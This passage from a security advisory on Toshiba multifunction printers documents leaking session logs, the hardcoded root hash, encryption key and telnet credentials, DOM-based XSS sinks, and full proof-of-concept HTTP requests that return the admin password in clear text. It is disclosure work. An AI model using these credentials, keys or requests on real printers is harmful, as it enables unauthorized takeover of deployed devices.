drwxr-xr-x 6 root root 0 May 30 10:38 .
drwxr-xr-x 7 root root 0 May 30 10:39 ..
-rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log
-rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
-rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log
-rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log
-rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log
-rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm 8767 May 30 16:38 maillog
-rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn
bash-4.1# grep SessionID *
http.log:[Thu May 30 17:29:08.209477 2023] [contentwebserver:debug] [pid 5113] ccontentwebserver.cpp(1130): [client 10.0.0.2:43384] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: https://10.0.0.1:8080/
http.log:[Thu May 30 17:29:08.739761 2023] [contentwebserver:debug] [pid 5118] ccontentwebserver.cpp(1130): [client 10.0.0.2:43386] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: https://10.0.0.1:8080/FrameIndex.html?v=1670282309ta
[...]
bash-4.1# grep -i cookie *
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 12:49:00.729591 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 12:49:00.729632 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.2.289d834d7086d004ce9a710590e10be1
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:17.935840 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:17.935870 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.3.117f8affdaee98da7f6c4d073bd2ab8d
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:20.603084 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4.75:62843] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:20.603114 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4:62843] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.4.140ee80f33943e90ea27be3fc3c511fb
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
We can list the files containing such authentication sessions:
- - al/network/log/http*
This file has insecure permissions allowing any user to retrieve the passwords and some files can be freely modified by any local attacker (or any remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability):
Insecure log files:
bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
drwxr-xr-x 6 root root 0 May 30 10:38 .
drwxr-xr-x 7 root root 0 May 30 10:39 ..
-rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log
-rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
-rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log
-rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log
-rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log
-rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm 8767 May 30 16:38 maillog
-rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn
An attacker can retrieve authentication sessions.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (`RewriteRule /pwned.txt file:/path/to/local/file`), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
## Details - Hardcoded root password
All the Toshiba printers share the same hardcoded root password. This hardcoded password is written by default in the firmware image and cannot be modified. Furthermore, the hash was also found in firmware images from 2017, meaning this password was never updated:
Content of `/etc/shadow`:
bash-4.1# cat /etc/shadow
root:$6$rsDekYom2xF0b$T./E5cKsgXixcqB6ULMv1f1/AztBn86Lt7Uv1MTS7LynR325iUIb9ql2A0UCHUzPLavlPnfsi/gOoJTosjo230:11323:0:99999:7:::
bin:!!:12571:0:99999:7:::
daemon:!!:12571:0:99999:7:::
adm:!!:12571:0:99999:7:::
lp:!!:12571:0:99999:7:::
sync:!!:12571:0:99999:7:::
shutdown:!!:12571:0:99999:7:::
halt:!!:12571:0:99999:7:::
mail:!!:12571:0:99999:7:::
uucp:!!:12571:0:99999:7:::
operator:!!:12571:0:99999:7:::
games:!!:12571:0:99999:7:::
gopher:!!:12571:0:99999:7:::
ftp:!!:12571:0:99999:7:::
hacluster:!!:12571:0:99999:7:::
rpcuser:!!:12571:0:99999:7:::
ntp:!!:12571:0:99999:7:::
smmsp:!:19431:0:99999:7:::
vcsa:!!:12571:0:99999:7:::
sshd:!!:12571:0:99999:7:::
nobody:!!:12571:0:99999:7:::
nfsnobody:!!:12571:0:99999:7:::
uuidd:x:19431:0:99999:7:::
messagebus:!:19431::::::
apache:!:19431:0:99999:7:::
sh-4.1#
An attacker can remotely compromise any Toshiba printer if the telnetd or the openssh servers are running.
## Details - Hardcoded password used to encrypt logs
It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.
The script `/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh` has insecure permissions and contains the hardcoded key `1048toshibatec`:
Insecure permissions of `/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh`:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
-rwxrwxrwx 1 root root 95309 Nov 8 2021 /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
bash-4.1#
Content of the file:
[code:shell]
[...]
1908 echo "Start Collected Log Encryption"
1909 openssl enc -e -aes256 -in $MOUNTPOINT/$SERIAL.$date.tar.gz -out $MOUNTPOINT/$SERIAL.$date -k 1048toshibatec
1910 if [ $? -eq 1 ]; then
1911 exit 1
1912 fi
[...]
[/code]
An attacker can decrypt the encrypted files using the hardcoded key.
## Details - Hardcoded password used to encrypt logs and use of a weak digest cipher
It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.
The script `/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh` has insecure permissions and contains the hardcoded key `1048toshibatec`:
Insecure Permissions of `/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh`:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
-rwxrwxrwx 1 root root 115474 Nov 8 2021 /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
bash-4.1#
In this file, we can find several hardcoded keys and the insecure use of MD5 as a digest cipher (`-md md5`) to derivate the secret key:
Content of `/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh`:
[code:shell]
1986 archiveLogECC()
[...]
2002 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec; then
[...]
2020 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec ; then
[...]
2029 archiveLogEmail()
[...]
2056 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec ;then
[...]
2081 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec;then
[...]
2426 if ! openssl enc -e -aes256 -in $ENCRYPTED_FILE".tar.gz" -out $ENCRYPTED_FILE -k 1048toshibatec -md md5; then
[...]
[/code]
An attacker can decrypt the encrypted files using the hardcoded key.
The MD5 algorithm is insecure.
## Details - Hardcoded password used to encrypt files
It was observed that all the Toshiba printers have programs containing a hardcoded key used to encrypt files:
- - `/home/SYSROM_SRC/build/release/bin/alreportmanager`
- - `/home/SYSROM_SRC/build/release/bin/alusermgr`
These 2 programs use the hardcoded key `1048toshibatec` to generate files.
In the alreportmanager program, this key is used inside the `al::reporting::ReportGenerator::EncryptFile(std::string *a1, const char **a2, const char **a3)` method to encrypt files.
In the alusermgr program, this key is used in several methods to encrypt files. We can identify the references to his strings:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
An attacker can decrypt the encrypted files using the hardcoded key.
## Details - DOM-based XSS present in the /js/TopAccessUtil.js file
All the Toshiba printers provide a web interface that will load the `/js/TopAccessUtil.js` JavaScript file. This `/js/TopAccessUtil.js` JavaScript file contains insecure codes vulnerable to XSS and is loaded inside all the webpages provided by the printer:
Content of https://ip:8080/?MAIN=TOPACCESS:
[code:html]
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META HTTP-EQUIV="cache-Control: private" CONTENT="NO-CACHE">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="Expires" CONTENT="1">
<link rel="stylesheet" type="text/css" href="styles/style.css?v=1670278837ta">
<!--<title class="clsTitle1">TopAccess</title>-->
<script language="javascript" type="text/javascript" src="/js/Cookies.js?v=1670278837ta"></script>
<script language="javascript" type="text/javascript" src="/localization/Locale_languages_installed.js?v=1670278837ta"></script>
<script language="javascript" type="text/javascript" src="/js/localization.js?v=1670278837ta"></script>
<SCRIPT language="javascript" type="text/javascript" src="/js/AjaxReqRespHandler.js?v=1670278837ta"></SCRIPT>
<script language="javascript" type="text/javascript">
var gblTopWindow;
var backspacePressed;
var subMenuLoaded =false;
if(location.href.indexOf("?MAIN=EFILING") == -1){
window.opener = null;
gblTopWindow=true;
}
</script>
<SCRIPT language="javascript" type="text/javascript" src="/js/TopAccessUtil.js?v=1670278837ta"></SCRIPT>
<script language="javascript" type="text/javascript">
[/code]
The `/js/TopAccessUtil.js` file contains the vulnerable `getQueryStringValue()` function that will take arguments from the URL and will return them without any sanitization:
[code:javascript]
565 function getQueryStringValue(varname,locationType) {
566 try {
567 /* locationType is a param which has enumeration ("parent" & "self" & "top") */
568 var strloc = "";
569 if (locationType == null || locationType == "parent"){
570 strloc = parent.location.href;
571 }else if (locationType == "top"){
572 strloc = top.location.href;
573 }else if (locationType == "self"){
574 strloc = location.href;
575 }else if (locationType == "parent.parent") {
576 strloc = parent.parent.location.href;
577 }
578 if(strloc.indexOf("?")== -1 && strloc.indexOf("#")== -1) {
579 //alert("Error: strVar is null in getQueryStringValue()")
580 } else {
581 var strVar = "";
582 if(strloc.indexOf("?") != -1)
583 strVar = strloc.split("?");
584 else
585 strVar = strloc.split("#");
586 var arrExpressions = strVar[1].split("&");
587 if(arrExpressions == null){
588 // alert("Error: arrExpressions is null in getQueryStringValue()")
589 }
590 var arrVars = null;
591 for (i=0;i<arrExpressions.length;i++) {
592 arrVars = arrExpressions[i].split("=");
593 if (arrVars[0] == varname) {
594 //alert("inside getQueryStringValue fun"+unescape(arrVars[1]));
595 return unescape(arrVars[1]);
596 }
597 }
598 }
599
600 return "";
601 } catch(e){errHandler(e,'getQueryStringValue()','TopAccessUtil.js?v=1670278837ta',"");return "";}
602 }
[/code]
For example, the webpage `/Administration/SystemUpdates/MoreUpdateDetails.html` uses the `getQueryStringValue()` function to display variables. Such variables can be controlled by an attacker to inject malicious JavaScript codes and steal the admin's session cookie:
Content of `/Administration/SystemUpdates/MoreUpdateDetails.html` with vulnerable codes on lines 46, 51 and 58:
[code:html]
31 <FORM NAME = "frmMoreUpdateDetails">
32 <TABLE BORDER="0" cellspacing="6" cellpadding="0" width="100%">
33 <TR >
34 <TD VALIGN="TOP" NOWRAP colspan="2" style="FONT-WEIGHT: normal; FONT-SIZE: 16pt; COLOR: #6699FE; FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif; TEXT-DECORATION: none">
35 <script type="text/javascript">document.write(fnGetLocaleString("DUMMYRESID","Update Details"));</script>
36 </TD>
37 </TR>
38 <TR >
39 <TD VALIGN="TOP" NOWRAP colspan="2">
40
41 </TD>
42 </TR>
43 <TR>
44 <TD VALIGN="TOP" WIDTH = "30%" ALIGN="LEFT" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;">
45 <B><script>
46 document.write(getQueryStringValue("packageName","self"));
47 </script></B>
48 </TD>
49 <TD VALIGN="TOP" ALIGN="LEFT" style="FONT-SIZE:9pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;">
50 <B><script>
51 document.write(getQueryStringValue("packageDate","self"));
52 </script></B>
53 </TD>
54 </TR>
55 <TR >
56 <TD VALIGN="TOP" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;" colspan="2">
57 <script>
58 document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>');
59 </script>
60 </TD>
61 </TR>
[/code]
It is possible to inject HTML code and JavaScript code, as shown below with the `XMP` HTML tag that will be interpreted and disable any following code, using `?packageName=<XMP>` in the query string.
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
It is possible to find such DOM-based XSS in the code base. There are at least 27 XSS in the HTML files provided by the printer:
kali% rgrep getQueryStringValue .|grep write
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageName","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageDate","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>');
./Registration/Template/ScanToEFiling.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=8&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=15&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEmailAndUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=16&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToUSB.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=21&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/FaxMode.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=4&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/MetaScanToFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=19&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/CopySaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=2&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEMail.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=7&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanSettingList.html: <option value="High"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSettingList.html: <option value="Low"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/ScanSettingList.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=\"+tempImgID+\"&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/CopyStoreToEFilling.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=3&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/SmbFtpOther.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=22&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToEmail.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=20&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEmailAndSaveAsFile.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=10&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanSetting.html: <option value="High"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSetting.html: <option value="Low"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/FaxSaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=5&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFile.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=6&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToFileAndUSB.html: <script type="text/javascript">document.write(" <INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=18&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToEmailAndFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=23&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFileAndBox.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=11&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEfilingAndUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=17&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEmailAndEFiling.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=12&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
Since the `getQueryStringValue()` function is used 880 times in these files, there are more XSS vulnerabilities that can be found while analyzing the code.
kali% pwd
/home/user/extract/home/SYSROM_SRC/build/release/TopAccess
kali% rgrep getQueryStringValue . | wc -l
880
kali%
An attacker can steal the cookie of an admin user.
## Details - Leak of admin password and passwords
All the Toshiba printers will display the password of the admin user in clear-text and additional passwords when sending 2 specific HTTP requests to the API /contentwebserver. An attacker stealing the cookie of an admin or abusing a XSS vulnerability can recover this password in clear-text and compromise the printer.
This HTTP request can be shown below:
HTTP request used to recover the password of the admin user:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
2 requests are mandatory:
- - The first POST request to `/contentwebserver` containing this payload:
<DeviceInformationModel>
<GetValue>
<TopAccess>
<SessionInfo/>
</TopAccess>
</GetValue>
</DeviceInformationModel>
- - The second POST request to `/contentwebserver` containing this payload:
<DeviceInformationModel>
<GetValue>
<UserManager>
<Users/>
</UserManager>
</GetValue>
<GetValue>
<Authentication>
<UserCredential/>
<AuthenticationSettings/>
</Authentication>
</GetValue>
<SetValue>
<UserManager>
<Users maxPage="" pageNo="1" pageSize="100" totalUsers=""/>
</UserManager>
</SetValue>
<Command>
<GetUsers>
<commandNode>UserManager/Users</commandNode>
<Params>
<userDetails contentType="XPath">UserManager</userDetails>
<cmdDetails>FEW</cmdDetails>
</Params>
</GetUsers>
</Command>
<Command>
<GetSettings>
<commandNode>Authentication/AuthenticationSettings</commandNode>
</GetSettings>
</Command>
</DeviceInformationModel>
The server will respond with the password displayed in clear-text.
It is also possible to visit https://printer-ip/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1 as admin and review the HTTP traffic. These 2 requests will be automatically sent by the browser when visiting this webpage:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
The PoC is (session must be updated):
First HTTP request:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 120
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1
<DeviceInformationModel><GetValue><TopAccess><SessionInfo></SessionInfo></TopAccess></GetValue></DeviceInformationModel>
Second HTTP request:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.a89baa941c3bbdafcee7e9349daca6af
Content-Length: 652
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1
Cookie: Session=10.0.0.2.a89baa941c3bbdafcee7e9349daca6af; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1
<DeviceInformationModel><GetValue><UserManager><Users/></UserManager></GetValue><GetValue><Authentication><UserCredential></UserCredential><AuthenticationSettings></AuthenticationSettings></Authentication></GetValue><SetValue><UserManager><Users maxPage='' pageNo='1' pageSize='100' totalUsers=''></Users></UserManager></SetValue><Command><GetUsers><commandNode>UserManager/Users</commandNode><Params><userDetails contentType='XPath'>UserManager</userDetails><cmdDetails>FEW</cmdDetails></Params></GetUsers></Command><Command><GetSettings><commandNode>Authentication/AuthenticationSettings</commandNode></GetSettings></Command></DeviceInformationModel>
The answer for the second request will contain several passwords in clear-text, including the password of the admin user (`123456`):
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 11:17:34 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 18489
[...]
<attrNameForUser ID="16"/>
<atrNameForCardID ID="16"/>
<attrNameForCardRevision ID="16"/>
<attrNameForServerName ID="16"/>
<passwordForCardRegistration>[REDACTED]</passwordForCardRegistration>
<skipRegistrationForCardAuth>false</skipRegistrationForCardAuth>
<autoRegistrationForCardAuth>false</autoRegistrationForCardAuth>
[...]
<UserCredential>
<userName>admin</userName>
<passwd>123456</passwd>
<ipaddress>10.0.0.2</ipaddress>
<DepartmentManagement isEnable="false">
<requireDepartment/>
</DepartmentManagement>
[...]
An attacker can retrieve the password of the admin user by using a XSS vulnerability or by stealing the cookie.
## Details - Hardcoded credentials in telnetd
It was observed that all the Toshiba printers contain hardcoded telnet credentials (Admin/System):
Content of the `telnet.conf` and `telnet.conf.bak` files:
bash-4.1# ls -la /encryption/al/network/config/telnet.conf.bak
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf.bak
bash-4.1# ls -la /encryption/al/network/config/telnet.conf
-rw-r--r-- 1 root root 41 Mar 15 11:50 /encryption/al/network/config/telnet.conf
bash-4.1# cat /encryption/al/network/config/telnet.conf
cat /encryption/al/network/config/telnet.conf
PortNo=23
PassWord=System
UserName=Admin
bash-4.1# cat /encryption/al/network/config/telnet.conf.bak
cat /encryption/al/network/config/telnet.conf.bak
PortNo=23
PassWord=System
UserName=Admin
bash-4.1#
The telnet daemon can be enabled in the configuration file `/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml`, likely used by the alnsm program running as root.
Content of `/home/SYSROM_SRC/NoBuildItems/AL/Network/nsm.xml`:
[...]
785 <NMO>
786 <name>Telnet</name>
787 <configFile>telnet.conf</configFile>
788 <startCmd runBackground="1">$EB2/bin/networkservice/telnet start</startCmd>
789 <stopCmd>$EB2/bin/networkservice/telnet stop</stopCmd>
790 <reloadCmd>$EB2/bin/networkservice/telnet restart</reloadCmd>
791 <statusCmd>$EB2/bin/networkservice/telnet status</statusCmd>
792 <serviceXpath>Services/Telnet</serviceXpath>
793 <connectSSM>0</connectSSM>
794 <startOrder>32</startOrder>
795 <dependents></dependents>
796 <TranslationMap>
797 <Map>
798 <iniXpath>UserName</iniXpath>
799 <xpath>Username</xpath>
800 </Map>
801 <Map>
802 <iniXpath>PassWord</iniXpath>
803 <xpath>Password</xpath>
804 </Map>
805 <Map>
806 <iniXpath>PortNo</iniXpath>
807 <xpath>Port</xpath>
808 </Map>
809 </TranslationMap>
810 </NMO>
[...]
While the telnet server is not enabled by default, an attacker can login to the printer and get administrative privileges if the telnet server is enabled.
## Details - Local Privilege Escalation using PROCSUID
It was observed that all the Toshiba printers contain a suidperl binary located at /usr/bin/sperl5.10.1-17:
